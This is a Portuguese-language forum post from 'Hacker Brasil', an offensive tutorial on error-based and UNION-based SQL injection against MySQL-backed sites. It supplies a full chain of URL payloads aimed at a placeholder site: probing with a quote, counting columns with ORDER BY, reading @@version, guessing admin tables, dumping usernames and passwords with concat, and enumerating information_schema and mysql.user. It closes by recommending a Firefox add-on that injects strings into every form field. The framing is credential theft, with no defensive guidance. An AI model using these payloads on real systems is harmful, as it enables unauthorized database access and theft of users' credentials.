Hacker Brasil

Hacker Brasil o Melhor site para voce!
 
InícioCalendárioFAQBuscarMembrosGruposRegistrar-seConectar-se

Compartilhe | 
 

 SQL Injection -

Ver o tópico anterior Ver o tópico seguinte Ir em baixo 
AutorMensagem
Administrador
Admin
avatar

Mensagens : 45
Data de inscrição : 30/11/2009

MensagemAssunto: SQL Injection -   Seg Nov 30, 2009 6:37 am

SQL Injection - Tutorial Avançado
Neste tutorial é feito uma descrição de como utilizar o Sql Injection Avançado para obter algumas informações.

Primeiramente: O que é Sql Injection?

É uma das vulnerabilidade mais comuns atualmente. Esta vulnerabilidade permite ao atacante executar consultas ao banco de dados inserindo querys (comandos Sql) na url do site obtendo, assim, informações confidenciais.

1 - Sql Injection (clássico ou baseado em erros).


Medidas adotadas para explorar a vulnerabilidade.

A) Verificar a Vulnerabilidade.

Abaixo um exemplo qualquer para análise da vulnerabilidade. O link fictício mostra uma página qualquer de um site, imaginemos que seja um página de um fórum hacker lixo de invasão.

Código:
http://www.site.com/news.php?id=5


Para identificarmos se o site é vulnerável, colocaremos ao final da url uma aspa simples ( ' ). Abaixo é mostrado a forma como a url ficará.

Código:
http://www.site.com/news.php?id=5'


Caso o site retorne um erro igualmente ou semelhante ao apresentado a seguir. O site é vulnerável a Sql Injection

Citação:
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the...


O erro acima diz que você possui um erro na síntaxe da consulta Sql e pede para você checar o manual correspondente ao SGBD que você está utilizando. "Até parece que você é o administrador do site"

Agora que checamos o erro no site e sabemos que este é vulnerável a injeção de Sql na url. Iremos ao passo seguinte.

B) - Localizar a Quantidade/Número de Colunas/Tabelas do banco de dados.

Para encontrar a quantidade de Colunas/Tabelas é utilizado o comando ORDER BY.

Mas como utilizar este comando Sql?

Simples! Ao final da url você adiciona o comando order by e vai adicionando uma sequência de Colunas/Tabelas, ou seja, você pode acionar a coluna correspondente. Caso queira olhar a coluna 1, ordene assim:

Código:
http://www.site.com/news.php?id=5 order by 1


Se não aparecer nenhum erro é por que esta Coluna/Tabela número 1 existe. Lembre-se que esta vulnerabilidade necessitamos trabalhar em cima dos erros, então o ideal é você ir acrescentado valor até que o site retorne um erro dizendo que a Coluna/Tabela é inexistente no banco de dados.

Código:
http://www.site.com/news.php?id=5 order by 1/* <-- Sem erro

http://www.site.com/news.php?id=5 order by 2/* <-- Sem erro

http://www.site.com/news.php?id=5 order by 3/* <-- Sem erro


Código:
http://www.site.com/news.php?id=5 order by 4 <-- Com erro


O exemplo acima, é atribuido Colunas/Tabelas (1..2..3..4), no entanto, é mencionado erro na Coluna/Tabela 4. Conclui-se então que esta Coluna/Tabela é inexistente e que o banco possui apenas 3 Colunas/Tabelas.

C) - Utilizando a função UNION.

Esta função poderosa é responsável por unir vários dados localizados em Colunas/Tabelas diferentes. "Que massa hem!"

Vamos utilizar o exemplo abaixo para melhor exemplificar.

Código:
http://www.site.com/news.php?id=5 union all select 1,2,3


Explicando a Sql:
O exemplo acima vai possibilitar ao "Injectador" visualizar todas as informações contidas nas Colunas/Tabelas 1, 2 e 3 do banco.

Código:
...?id ... union all select 1,2,3

Faça a união de todas as informações contidas das Colunas/Tabelas 1, 2 e 3 do site: http://www.site.com/news.php . Está e a ordem que você atribui ao comando colocado na url do site.

D) - Descobrindo a versão do SGBD (MySql).

Código:
http://www.site.com/news.php?id=5 union all select 1,2,3


Observe acima que na url o comando Sql pede para visualizar as três Colunas/Tabelas existentes no banco. Agora para visualizar a versão do banco é necessário que façamos uma substituição. Retirar a Coluna/Tabela 2 pelo comando @@version.

Código:
http://www.site.com/news.php?id=5 union all select 1,@@version,3


Caso não der certo, você receberá uma mensagem de erro semelhante a esta:

Citação:
"union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."


Para resolver este erro necessitamos utilizar a função convert(). Exemplo abaixo:

Código:
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/


Ou então as funções hex() e unhex();

Código:
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/


Com os procedimentos acima, você irá conseguir achar a versão do SGBD MySql.

E) - Obtendo o nome da Coluna/Tabela.

Agora que temos a versão, iremos ao passo seguinte. Descobrir o nome das Colunas/Tabelas:

Geralmente os DBA's (Administradores de Banco de Dados) utilizam nomes comuns como padronização para suas Colunas/Tabelas como:

Citação:
user, usuario, admin, member, membro, password, passwd, pwd, user_name


Lógico que isto depende bastante de DBA's e qual tipo de padronização ele estiver utilizando.

Na consulta abaixo o "Injectador" bicuda, isto mesmo ele utiliza a técnica de tentativo-erro, para tentar acertar o nome da Coluna/Tabela.

Código:
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin


Observe que acima a query diz: "Mostre-me os valores das Colunas/Tabelas 1, 2 e 3 do usuário admin".

Código:
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin


Caso apareça erro, vá mudando o nome da coluna... afinal é a técnica da tentativa e erro.

Código:
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/


Acima, observe que a consulta começa a ficar refinada: "Mostre-me os valores Coluna/Tabelas 1, o nome do usuário e 3 do usuário admin". Ou seja, suponha que o DBA tenha criado um banco onde as ele separou a Tabela admin, como o exemplo. No entanto, este admin possui inumeras informações (campos) como: nome do admin (username), password, endereco, idade.. etc.

Código:
http://www.site.com/news.php?id=5 union all select 1,username, password from admin


Caso a consulta der certo, na tela aparecerá o nome do usuário e a senha. Esta senha aparecerá na tela tanto como texto ou criptografada, em md5 hash.. etc. Vai depender muito da base de dados onde foi desenvolvido o banco.

Para ficar com um boa aparência e organizada as informações na tela. É utilizado a função concat().

Código:
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*


Dependendo do campo, fica a seu critério inserir em hexadecimal (0x3a) ou utilizando o padrão Ascii (char(58)).

Código:
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*


Na tela já aparecerá os valores com o nome do usuário administrador e a senha. Faça orações para que não aparece em hash md5 senão vai ser outra guerra..

Dica: Quando está difícil para achar o nome da Coluna/Tabela, sempre é bom utilizar mysql.user, pois é muito utilizado como default e como padrão. Exemplo abaixo.

Código:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*


F) - MySql 5.

Devido algumas diferenças atribuídas a versão 5 do MySql. É mostrado aqui uma técnica para obter o nome das Colunas/Tabelas.

Nesta nova versão, é acrescentada um arquivo chamado information_schema, onde possui informações sobre todas as Colunas/Tabelas do banco. É este arquivo que será o nosso alvo.

Código:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*


Na consulta acima substituimos o campo 2 por table_name para obter a primeira tabela de information_schema.

Agora para que a consulta seja rápida é necessário acrescentar um limite para as linhas.

Observer abaixo que é colocado como limite 0, 1.

Código:
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*


Dica: você deve ir acrescentando os valores dos limites: 1, 2; 3,4. Vai depender de você, pois vamos supor que o alvo principal é a Coluna/Tabela admin_password e está está na posição 43, então você deveria acrescentar uma por uma até achar... 1, 2; ..., ...; 42, 43.

Espero que tenham entendido esta parte.

Para obter o nome das colunas, também é utilizado a mesma lógica. Só que agora no arquivo information_schema.columns.

Código:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*


Agora vamos a uma consulta mais específica. Caso você queira que apareça informações mais específica como o nome dos usuário pode-se fazer a consulta abaixo:

Código:
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/


Com esta consulta é visualizado o nome das colunas.. agora é só utilizar os limites para visualizar os nomes de usuários.

Caso os valores estejam em colunas diferentes (lugares) vamos concatenar utilizando o concat().

Código:
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*


Acima simplesmente pedimos para mostrar o usuário, a senha e o email.

Citação:
example: admin:hash:whatever@blabla.com



Isto é um exemplo de Sql Injection Avançado. Não é uma técnica tão simples, necessita-se de prática e conhecimento em Sql.

Espero que todos tenham entendido pelo menos a essencia da coisa.

----------------------------------------------------------------------------------------------------------------------------------------
Ferramenta de auxílio

SQL Injection 1.2 + Firefox.

https://addons.mozilla.org/pt-BR/firefox/addon/6727

Para dá apoio/auxílio na injeção dos códigos da SQL Injection, aqui é mostrado um complemento do Firefox que pode ajudá-lo bastante nesta tarefa.
O SQL Injection 1.2 que é uma complemento que nos ajuda a inserir códigos tanto em Post quanto em Get. Além de você pode memorizar todas as entradas que você adquirir, sem a necessidade de utilizar o Crtl + c e Crtl + v.

Abaixo as ilustrações mostram a facilidade de uso da ferramenta.

A imagem 01 mostra o ícone no campo inferior do Browser. Para darmos início a execução do complemento é necessário dar um clique em cima do ícone (cadeado).

A imagem 02 mostra o complemento em si. Observe que não tem muito mistério, um campo para a escolha da String/Query e dois botões de escolha.

A imagem 3 mostra que o complemento já vem com alguns String, as Query’s que aparecem eu mesmo adicionei.

Mas como funciona?

A imagem 04 mostra que o SQL Injection 1.2 já fez a limitação dos campos que podem vir a receber os Strings, que na ilustração acima correspondem a Usuário, Senha, Entrar.

Para inserir é necessário que você clique em cima de qualquer um dos 3 campos do site.

A imagem 05 aparece logo após você clicar no campo desejado. Então você pode fazer a escolha de fazer a injeção por POST ou por GET.

Na imagem 06 você agora deve escolher em qual campo será inserido a String. Para isto você deve optar em clicar em um dos dois botões:
O botão Injection Code possibilita inserir a String apenas no input que você clicou anteriormente.
O botão Injection in all possibilita que a String seja inserida em todos os campos do site.

Observe que eu clique no botão Injection in all.

Pronto, logo após para iniciar a injeção basta clicar no tão Submit this form.

Existem também a possibilidade de você criar e salvar as suas próprias Strings/Querys.

Para isto, basta você clicar na ícone do SQL Injection 1.2, mostrado na ilustração 01, e adicionar conforme mostrado na figura acima.
Voltar ao Topo Ir em baixo
Ver perfil do usuário http://hacker-brasil.forumbom.com
 
SQL Injection -
Ver o tópico anterior Ver o tópico seguinte Voltar ao Topo 
Página 1 de 1

Permissão deste fórum:Você não pode responder aos tópicos neste fórum
Hacker Brasil :: SQL Injection - Tutorial Avançado-
Ir para: